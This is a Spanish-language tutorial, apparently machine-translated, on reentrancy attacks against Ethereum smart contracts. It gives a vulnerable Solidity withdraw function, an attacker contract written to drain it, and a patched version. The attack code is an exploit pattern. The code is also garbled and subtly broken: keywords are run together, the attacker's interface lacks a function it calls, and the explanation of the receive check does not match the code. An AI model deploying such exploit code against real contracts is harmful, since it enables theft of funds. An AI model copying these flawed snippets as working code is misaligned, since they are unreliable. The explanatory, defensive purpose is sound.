Así es como se lleva a cabo uno de los hacks de contratos inteligentes más comunes que cuestan millones a las empresas de Web 3...

Algunos de los mayores ataques en la industria de la cadena de bloques, donde se robaron tokens de criptomonedas por valor de millones de dólares, fueron el resultado de ataques de reingreso. Si bien estos ataques se han vuelto menos comunes en los últimos años, aún representan una amenaza importante para las aplicaciones y los usuarios de blockchain.

Entonces, ¿qué son exactamente los ataques de reentrada? ¿Cómo se despliegan? ¿Y hay alguna medida que los desarrolladores puedan tomar para evitar que sucedan?

¿Qué es un ataque de reentrada?

Un ataque de reentrada ocurre cuando una función de contrato inteligente vulnerable hace una llamada externa a un contrato malicioso, cediendo temporalmente el control del flujo de transacciones. Luego, el contrato malicioso llama repetidamente a la función de contrato inteligente original antes de que termine de ejecutarse mientras agota sus fondos.

instagram viewer

Esencialmente, una transacción de retiro en la cadena de bloques de Ethereum sigue un ciclo de tres pasos: confirmación de saldo, remesa y actualización de saldo. Si un ciberdelincuente puede secuestrar el ciclo antes de la actualización del saldo, puede retirar fondos repetidamente hasta que se agote una billetera.

Credito de imagen: Etherscan

Uno de los hacks de blockchain más infames, el hack de Ethereum DAO, cubierto por Coindesk, fue un ataque de reingreso que condujo a una pérdida de más de $ 60 millones en eth y cambió fundamentalmente el curso de la segunda criptomoneda más grande.

¿Cómo funciona un ataque de reentrada?

Imagina un banco en tu ciudad natal donde los virtuosos locales guardan su dinero; su liquidez total es de $ 1 millón. Sin embargo, el banco tiene un sistema de contabilidad defectuoso: los empleados esperan hasta la noche para actualizar los saldos bancarios.

Su amigo inversionista visita la ciudad y descubre la falla contable. Crea una cuenta y deposita $100,000. Un día después, retira $100,000. Después de una hora, hace otro intento de retirar $100,000. Dado que el banco no ha actualizado su saldo, todavía lee $100,000. Entonces él recibe el dinero. Lo hace repetidamente hasta que no queda dinero. Los empleados solo se dan cuenta de que no hay dinero cuando cuadran los libros por la noche.

En el contexto de un contrato inteligente, el proceso es el siguiente:

  1. Un ciberdelincuente identifica un contrato inteligente "X" con una vulnerabilidad.
  2. El atacante inicia una transacción legítima al contrato objetivo, X, para enviar fondos a un contrato malicioso, "Y". Durante la ejecución, Y llama a la función vulnerable en X.
  3. La ejecución del contrato de X está pausada o retrasada mientras el contrato espera la interacción con el evento externo.
  4. Mientras la ejecución está en pausa, el atacante llama repetidamente a la misma función vulnerable en X, desencadenando nuevamente su ejecución tantas veces como sea posible.
  5. Con cada reingreso, se manipula el estado del contrato, lo que permite al atacante drenar fondos de X a Y.
  6. Una vez que se han agotado los fondos, el reingreso se detiene, la ejecución retrasada de X finalmente se completa y el estado del contrato se actualiza en función del último reingreso.

Generalmente, el atacante explota con éxito la vulnerabilidad de reingreso en su beneficio, robando fondos del contrato.

Un ejemplo de un ataque de reentrada

Entonces, ¿cómo podría ocurrir técnicamente un ataque de reingreso cuando se implementa? Aquí hay un contrato inteligente hipotético con una puerta de enlace de reingreso. Usaremos nombres axiomáticos para que sea más fácil de seguir.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

El VulnerableContract permite a los usuarios depositar eth en el contrato usando el depósito función. Luego, los usuarios pueden retirar su eth depositado utilizando el retirar función. Sin embargo, hay una vulnerabilidad de reentrada en el retirar función. Cuando un usuario se retira, el contrato transfiere la cantidad solicitada a la dirección del usuario antes de actualizar el saldo, creando una oportunidad para que un atacante la aproveche.

Ahora, así es como se vería el contrato inteligente de un atacante.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Cuando se lanza el ataque:

  1. El AtacanteContrato toma la dirección del VulnerableContract en su constructor y lo almacena en el contrato vulnerable variable.
  2. El ataque El atacante llama a la función, depositando algo de eth en el VulnerableContract utilizando el depósito e inmediatamente llamando al retirar función de la VulnerableContract.
  3. El retirar función en el VulnerableContract transfiere la cantidad solicitada de eth al atacante AtacanteContrato antes de actualizar el saldo, pero como el contrato del atacante está en pausa durante la llamada externa, la función aún no está completa.
  4. El recibir función en el AtacanteContrato se activa porque el VulnerableContract envió eth a este contrato durante la llamada externa.
  5. La función de recepción comprueba si el AtacanteContrato el saldo es de al menos 1 éter (la cantidad a retirar), luego vuelve a ingresar al VulnerableContract llamando a su retirar funcionar de nuevo.
  6. Los pasos tres a cinco se repiten hasta que el VulnerableContract se queda sin fondos y el contrato del atacante acumula una cantidad sustancial de eth.
  7. Finalmente, el atacante puede llamar al retirar fondos robados función en el AtacanteContrato para robar todos los fondos acumulados en su contrato.

El ataque puede ocurrir muy rápido, dependiendo del rendimiento de la red. Cuando se trata de contratos inteligentes complejos como el DAO Hack, que condujo a la bifurcación dura de Ethereum en Ethereum y Ethereum Clásico, el ataque ocurre durante varias horas.

Cómo prevenir un ataque de reentrada

Para evitar un ataque de reingreso, debemos modificar el contrato inteligente vulnerable para seguir las mejores prácticas para el desarrollo seguro de contratos inteligentes. En este caso, deberíamos implementar el patrón "comprobaciones-efectos-interacciones" como en el código siguiente.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

En esta versión fija, hemos introducido un está bloqueado mapeo para rastrear si una cuenta en particular está en proceso de retiro. Cuando un usuario inicia un retiro, el contrato verifica si su cuenta está bloqueada (!isLocked[mensaje.remitente]), lo que indica que actualmente no se está realizando ningún otro retiro de la misma cuenta.

Si la cuenta no está bloqueada, el contrato continúa con el cambio de estado y la interacción externa. Después del cambio de estado y la interacción externa, la cuenta se desbloquea nuevamente, lo que permite futuros retiros.

Tipos de ataques de reentrada

Haber de imagen: Ivan Radic/Flickr

En general, existen tres tipos principales de ataques de reingreso en función de su naturaleza de explotación.

  1. Ataque de reentrada simple: En este caso, la función vulnerable a la que el atacante llama repetidamente es la misma que es susceptible a la puerta de enlace de reentrada. El ataque anterior es un ejemplo de un ataque de reingreso único, que se puede prevenir fácilmente mediante la implementación de comprobaciones y bloqueos adecuados en el código.
  2. Ataque de funciones cruzadas: En este escenario, un atacante aprovecha una función vulnerable para llamar a una función diferente dentro del mismo contrato que comparte un estado con el vulnerable. La segunda función, llamada por el atacante, tiene algún efecto deseable, haciéndola más atractiva para la explotación. Este ataque es más complejo y más difícil de detectar, por lo que se necesitan controles y bloqueos estrictos en las funciones interconectadas para mitigarlo.
  3. Ataque de contrato cruzado: Este ataque ocurre cuando un contrato externo interactúa con un contrato vulnerable. Durante esta interacción, el estado del contrato vulnerable se llama en el contrato externo antes de que se actualice por completo. Por lo general, sucede cuando varios contratos comparten la misma variable y algunos actualizan la variable compartida de forma insegura. Protocolos de comunicación seguros entre contratos y periódicos auditorías de contratos inteligentes deben implementarse para mitigar este ataque.

Los ataques de reingreso pueden manifestarse de diferentes formas y, por lo tanto, requieren medidas específicas para prevenir cada uno.

Mantenerse a salvo de los ataques de reentrada

Los ataques de reingreso han causado pérdidas financieras sustanciales y socavado la confianza en las aplicaciones de blockchain. Para proteger los contratos, los desarrolladores deben adoptar las mejores prácticas con diligencia para evitar vulnerabilidades de reingreso.

También deben implementar patrones de retiro seguros, usar bibliotecas confiables y realizar auditorías exhaustivas para fortalecer aún más la defensa del contrato inteligente. Por supuesto, mantenerse informado sobre las amenazas emergentes y ser proactivo con los esfuerzos de seguridad puede garantizar que también mantengan la integridad de los ecosistemas de blockchain.